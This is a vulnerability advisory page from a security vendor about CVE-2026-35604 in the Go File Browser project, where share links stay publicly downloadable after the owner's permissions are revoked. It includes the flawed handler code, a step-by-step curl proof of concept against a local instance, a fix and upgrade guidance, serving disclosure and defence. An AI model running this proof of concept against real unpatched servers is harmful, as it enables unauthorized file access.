Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-v9w4-gm2x-6rvf

GHSA-v9w4-gm2x-6rvf is a CWE-863 vulnerability in github.com/filebrowser/filebrowser/v2. O3 Security confirms whether GHSA-v9w4-gm2x-6rvf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

File Browser share links remain accessible after Share/Download permissions are revoked

Also known asCVE-2026-35604GO-2026-5659
Published
Apr 8, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/filebrowser/filebrowser/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions:

  • New share creation is correctly blocked (403)
  • But all existing shares created by that user remain fully accessible to unauthenticated users
  • The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
    return errToStatus(err), err
}

// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
    return http.StatusForbidden, nil
}

d.user = user

Update: Fix submitted as PR #5888.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versions2.63.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/filebrowser/filebrowser/v2 to 2.63.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v9w4-gm2x-6rvf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-v9w4-gm2x-6rvf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v9w4-gm2x-6rvf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d). ## Details Share creation (`http/share.go:21-29`) correctly checks permissions: func withPermShare(fn handleFunc) handleFunc { return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) { if !d.user.Perm.Share || !d.user.Perm.Download {
O3 Security · Impact-Aware SCA

Is GHSA-v9w4-gm2x-6rvf in your dependencies?

O3 detects GHSA-v9w4-gm2x-6rvf across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.